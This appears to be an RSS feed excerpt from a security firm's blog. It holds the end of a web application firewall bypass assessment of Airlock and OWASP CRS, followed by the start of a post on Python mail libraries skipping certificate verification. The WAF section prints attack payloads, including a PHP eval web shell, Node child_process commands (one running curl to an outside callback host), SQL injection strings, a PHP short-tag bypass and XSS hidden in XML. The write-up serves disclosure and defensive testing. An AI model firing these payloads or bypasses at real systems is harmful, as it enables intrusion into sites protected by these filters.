&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_66b07da4b1154804a77d9f9a13fed49d-1" name="rest_code_66b07da4b1154804a77d9f9a13fed49d-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_66b07da4b1154804a77d9f9a13fed49d-1"&gt;&lt;/a&gt;GET /?x=$_SERVER['test']; HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;File content:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_276bb92a80574dcdb48b21a22f215ddf-1" name="rest_code_276bb92a80574dcdb48b21a22f215ddf-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_276bb92a80574dcdb48b21a22f215ddf-1"&gt;&lt;/a&gt;&amp;lt;?php @eval($_POST["hacker"]); ?&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-934-application-attack-generic"&gt;
&lt;h3&gt;REQUEST-934-APPLICATION-ATTACK-GENERIC&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-1" name="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-1"&gt;&lt;/a&gt;GET /get/?foo=eval%28String.fromCharCode HTTP/1.1
&lt;a id="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-2" name="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-2"&gt;&lt;/a&gt;GET /get/?foo=%0Arequire("child_process").exec('whoami') HTTP/1.1
&lt;a id="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-3" name="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-3"&gt;&lt;/a&gt;GET /?x=%0Arequire%3bx%3d"child_process"%3blol(x).spawn("curl",%20['5gmgdi7mjd5o3g8oj8gawq6n8ee5ht6.oastify.com'])%3b HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-942-application-attack-sqli"&gt;
&lt;h3&gt;REQUEST-942-APPLICATION-ATTACK-SQLI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-1" name="rest_code_cec85265392844bfbbf036eb8766ade2-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-1"&gt;&lt;/a&gt;GET /?a=b,1=1 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-2" name="rest_code_cec85265392844bfbbf036eb8766ade2-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-2"&gt;&lt;/a&gt;GET /?a=a=42%20like%2042 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-3" name="rest_code_cec85265392844bfbbf036eb8766ade2-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-3"&gt;&lt;/a&gt;GET /?a=1%20is%20not%202 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-4" name="rest_code_cec85265392844bfbbf036eb8766ade2-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-4"&gt;&lt;/a&gt;GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-5" name="rest_code_cec85265392844bfbbf036eb8766ade2-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-5"&gt;&lt;/a&gt;GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-6" name="rest_code_cec85265392844bfbbf036eb8766ade2-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-6"&gt;&lt;/a&gt;GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-7" name="rest_code_cec85265392844bfbbf036eb8766ade2-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-7"&gt;&lt;/a&gt;GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-8" name="rest_code_cec85265392844bfbbf036eb8766ade2-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-8"&gt;&lt;/a&gt;GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-9" name="rest_code_cec85265392844bfbbf036eb8766ade2-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-9"&gt;&lt;/a&gt;GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-10" name="rest_code_cec85265392844bfbbf036eb8766ade2-10" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-10"&gt;&lt;/a&gt;GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-944-application-attack-java"&gt;
&lt;h3&gt;REQUEST-944-APPLICATION-ATTACK-JAVA&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_b7a1bd6733384ddeb2c55aefc852723f-1" name="rest_code_b7a1bd6733384ddeb2c55aefc852723f-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_b7a1bd6733384ddeb2c55aefc852723f-1"&gt;&lt;/a&gt;java.lang.ProcessBuilder
&lt;a id="rest_code_b7a1bd6733384ddeb2c55aefc852723f-2" name="rest_code_b7a1bd6733384ddeb2c55aefc852723f-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_b7a1bd6733384ddeb2c55aefc852723f-2"&gt;&lt;/a&gt;java.lang.Runtime
&lt;a id="rest_code_b7a1bd6733384ddeb2c55aefc852723f-3" name="rest_code_b7a1bd6733384ddeb2c55aefc852723f-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_b7a1bd6733384ddeb2c55aefc852723f-3"&gt;&lt;/a&gt;java.io.BufferedInputStream
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="bypassing-both-wafs"&gt;
&lt;h2&gt;Bypassing both WAFs&lt;/h2&gt;
&lt;p&gt;There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.&lt;/p&gt;
&lt;section id="php"&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;p&gt;After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_29e379b4478940c394eb52cdab60e5eb-1" name="rest_code_29e379b4478940c394eb52cdab60e5eb-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_29e379b4478940c394eb52cdab60e5eb-1"&gt;&lt;/a&gt;&amp;lt;?xml :system("ls")
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is valid PHP code with the short PHP start tag (&amp;lt;?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).&lt;/p&gt;
&lt;p&gt;OWASP CRS checked for the short PHP start tag (&amp;lt;?) but excluded &amp;lt;?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/3616"&gt;PHP filter bypass to OWASP CRS it was fixed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="xml"&gt;
&lt;h3&gt;XML&lt;/h3&gt;
&lt;p&gt;To find a second bypass we simply used a payload from one of our &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/"&gt;old advisories that hides the Cross-side Scripting payload in an XML attribute&lt;/a&gt; :&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-1" name="rest_code_313e8462ce9641868a3fb75914512cae-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-1"&gt;&lt;/a&gt;POST /ebics-server/ebics.aspx HTTP/1.1
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-2" name="rest_code_313e8462ce9641868a3fb75914512cae-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-2"&gt;&lt;/a&gt;Content-Type: text/xml; charset=UTF-8
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-3" name="rest_code_313e8462ce9641868a3fb75914512cae-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-3"&gt;&lt;/a&gt;Host: www.example.org
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-4" name="rest_code_313e8462ce9641868a3fb75914512cae-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-4"&gt;&lt;/a&gt;Content-Length: 585
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-5" name="rest_code_313e8462ce9641868a3fb75914512cae-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-5"&gt;&lt;/a&gt;Connection: close
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-6" name="rest_code_313e8462ce9641868a3fb75914512cae-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-6"&gt;&lt;/a&gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-7" name="rest_code_313e8462ce9641868a3fb75914512cae-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-7"&gt;&lt;/a&gt;&amp;lt;?xml version="1.0" encoding="utf-8" standalone="no"?&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-8" name="rest_code_313e8462ce9641868a3fb75914512cae-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-8"&gt;&lt;/a&gt;&amp;lt;ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&amp;amp;lt;a autofocus onfocus=print(1) href&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;;"&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-9" name="rest_code_313e8462ce9641868a3fb75914512cae-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-9"&gt;&lt;/a&gt;    &amp;lt;header authenticate="true"&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-10" name="rest_code_313e8462ce9641868a3fb75914512cae-10" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-10"&gt;&lt;/a&gt;        &amp;lt;static&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-11" name="rest_code_313e8462ce9641868a3fb75914512cae-11" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-11"&gt;&lt;/a&gt;            &amp;lt;HostID&amp;gt;AAA&amp;lt;/HostID&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-12" name="rest_code_313e8462ce9641868a3fb75914512cae-12" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-12"&gt;&lt;/a&gt;            &amp;lt;PartnerID&amp;gt;AAA&amp;lt;/PartnerID&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-13" name="rest_code_313e8462ce9641868a3fb75914512cae-13" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-13"&gt;&lt;/a&gt;            &amp;lt;UserID&amp;gt;AAA&amp;lt;/UserID&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-14" name="rest_code_313e8462ce9641868a3fb75914512cae-14" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-14"&gt;&lt;/a&gt;            &amp;lt;Product InstituteID="AAA" Language="de"&amp;gt;AAA&amp;lt;/Product&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-15" name="rest_code_313e8462ce9641868a3fb75914512cae-15" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-15"&gt;&lt;/a&gt;            &amp;lt;OrderDetails&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-16" name="rest_code_313e8462ce9641868a3fb75914512cae-16" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-16"&gt;&lt;/a&gt;                &amp;lt;OrderType&amp;gt;AAA&amp;lt;/OrderType&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-17" name="rest_code_313e8462ce9641868a3fb75914512cae-17" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-17"&gt;&lt;/a&gt;                &amp;lt;OrderAttribute&amp;gt;AAA&amp;lt;/OrderAttribute&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-18" name="rest_code_313e8462ce9641868a3fb75914512cae-18" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-18"&gt;&lt;/a&gt;            &amp;lt;/OrderDetails&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-19" name="rest_code_313e8462ce9641868a3fb75914512cae-19" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-19"&gt;&lt;/a&gt;            &amp;lt;SecurityMedium&amp;gt;0000&amp;lt;/SecurityMedium&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-20" name="rest_code_313e8462ce9641868a3fb75914512cae-20" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-20"&gt;&lt;/a&gt;        &amp;lt;/static&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-21" name="rest_code_313e8462ce9641868a3fb75914512cae-21" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-21"&gt;&lt;/a&gt;        &amp;lt;mutable/&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-22" name="rest_code_313e8462ce9641868a3fb75914512cae-22" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-22"&gt;&lt;/a&gt;    &amp;lt;/header&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-23" name="rest_code_313e8462ce9641868a3fb75914512cae-23" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-23"&gt;&lt;/a&gt;    &amp;lt;body&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-24" name="rest_code_313e8462ce9641868a3fb75914512cae-24" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-24"&gt;&lt;/a&gt;        &amp;lt;DataTransfer&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-25" name="rest_code_313e8462ce9641868a3fb75914512cae-25" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-25"&gt;&lt;/a&gt;            &amp;lt;OrderData&amp;gt;AAA&amp;lt;/OrderData&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-26" name="rest_code_313e8462ce9641868a3fb75914512cae-26" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-26"&gt;&lt;/a&gt;        &amp;lt;/DataTransfer&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-27" name="rest_code_313e8462ce9641868a3fb75914512cae-27" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-27"&gt;&lt;/a&gt;    &amp;lt;/body&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-28" name="rest_code_313e8462ce9641868a3fb75914512cae-28" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-28"&gt;&lt;/a&gt;&amp;lt;/ebicsUnsecuredRequest&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;While Airlock doesn't check file contents in-depth in general, it is &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/2847"&gt;still an open issue for CRS&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.&lt;/p&gt;
&lt;p&gt;After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.&lt;/p&gt;
&lt;p&gt;For CRS, one of the two mentioned issues is fixed; the other is still open.&lt;/p&gt;
&lt;p&gt;We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/3644"&gt;users with first name Axel could get pretty upset&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.&lt;/p&gt;
&lt;p&gt;Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="thanks"&gt;
&lt;h2&gt;Thanks&lt;/h2&gt;
&lt;p&gt;We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.&lt;/p&gt;
&lt;aside class="footnote-list brackets"&gt;
&lt;aside class="footnote brackets" id="footnote-1" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#footnote-reference-1"&gt;1&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;42&lt;/p&gt;
&lt;/aside&gt;
&lt;/aside&gt;
&lt;/section&gt;</description><category>Airlock</category><category>CRS</category><category>OWASP</category><category>Pentesting</category><category>WAF</category><category>Web</category><guid>https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/</guid><pubDate>Wed, 11 Dec 2024 12:00:00 GMT</pubDate></item><item><title>Nothing new, still broken, insecure by default since then: Python's e-mail libraries and certificate verification</title><link>https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;Today, basically every e-mail provider supports TLS for their services and programmatically accessing e-mail services with Python code using TLS-wrapped clients is common. Python offers three libraries shipped with a standard installation for handling e-mail transfer. These modules are smtplib, imaplib, and poplib. While Python programming is usually straightforward, using these Python libraries require passing a magic parameter in the right way to use secure communication. If one has just read the summary on Stackoverflow, read a tutorial that does not mention security settings, or asked ChatGPT not specifically enough, it results in programs that do not defeat active attackers in a machine-in-the-middle (MITM) position. Our journey started, when &lt;a class="reference external" href="https://github.com/pentagridsec/icinga_check_mail_loop"&gt;we wrote an e-mail monitoring plugin&lt;/a&gt; in Python and ended for the time being with the notification of various open source projects.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="insecure-past"&gt;
&lt;h2&gt;Insecure past&lt;/h2&gt;
&lt;p&gt;There was a time, when fetching e-mail via clear-text channels was the standard and there was no real alternative to that. SMTP is 40 years old. The encryption program PGP is 31 years old and can be understood as tool that originated from the desire for reasonably useful end-to-end privacy, at a time where the underlying foundation was based on clear-text. In the mid-nineties, the first crypto-protocols for regular users were developed, such as SSH for shell access and SSL mainly for web browsing. For e-mail, STARTTLS was an improvement to upgrade from an insecure communication to a crypto-channel that preserves integrity and confidentiality as long as an active attacker did not prevent STARTTLS. The pre-Snowden era is not that long ago, where websites usually relied on cleartext-HTTP. These old times influenced how things are nowadays. Nevertheless, times are changing, techniques too, and expectations anyway.&lt;/p&gt;
&lt;p&gt;The same reasoning applies to libraries with protocol implementations. It is not different with Python. So, everything here is an old hat. It is a "known" problem. It is more or less documented in the corresponding Python documentation. There is a Python Enhancement Proposal, a PEP, which is the Python community's way of coming to decisions. It is &lt;a class="reference external" href="https://peps.python.org/pep-0476/"&gt;PEP 476 – Enabling certificate verification by default for stdlib HTTP clients&lt;/a&gt; from 2014, because HTTP libraries had the same issue. They were insecure by default. PEP 476 suggests doing certificate checking for accessing resources via HTTPS and it also mentions that there are other Python libraries with the same issue. These other libraries are smtplib, imaplib, and poplib for mail handling and additional libraries for FTP and NNTP. The PEP explains that the mail libraries may still need insecure defaults for backward compatibility, for example because mail servers may have invalid certificates and therefore with e-mail this certificate verification could be a different thing compared to the PEP's aim at changing certificate verification for HTTP. And there is &lt;a class="reference external" href="https://github.com/python/cpython/issues/91826"&gt;the very same discussion already on Python's Github tracker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Making things worse, while imaplib and poplib are mainly used in client to server communication (where you might have a chance to ask the user to do a security decision), SMTP is used for server to server communication as well. While security features are introduced to improve mail security (e.g. MTA-STS), the situation is still challenging. That's why we think projects should configure e-mail as secure as possible, where possible.&lt;/p&gt;
&lt;p&gt;Meanwhile it is 2023 and insecure defaults are a problem, especially when our infrastructure depends on many small building blocks. An insecurity here, a shared password there, an outdated component over there. Each vulnerability could be one too much to grant attackers the next level of access. So let us explain the problem.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="a-vulnerable-example"&gt;
&lt;h2&gt;A vulnerable example&lt;/h2&gt;
&lt;p&gt;Consider this example of Python script that is intended to connect to an IMAP server:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-1" name="rest_code_ce86a1de59834094ac50cd636e4da681-1" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-1"&gt;&lt;/a&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-2" name="rest_code_ce86a1de59834094ac50cd636e4da681-2" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-3" name="rest_code_ce86a1de59834094ac50cd636e4da681-3" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-3"&gt;&lt;/a&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;imaplib&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-4" name="rest_code_ce86a1de59834094ac50cd636e4da681-4" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-4"&gt;&lt;/a&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-5" name="rest_code_ce86a1de59834094ac50cd636e4da681-5" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-5"&gt;&lt;/a&gt;&lt;span class="n"&gt;imap_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'outlook.office365.com'&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-6" name="rest_code_ce86a1de59834094ac50cd636e4da681-6" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-6"&gt;&lt;/a&gt;&lt;span class="n"&gt;imap_user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'nonexisting@outlook.com'&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-7" name="rest_code_ce86a1de59834094ac50cd636e4da681-7" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-7"&gt;&lt;/a&gt;&lt;span class="n"&gt;imap_pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'secret'&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-8" name="rest_code_ce86a1de59834094ac50cd636e4da681-8" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-8"&gt;&lt;/a&gt;
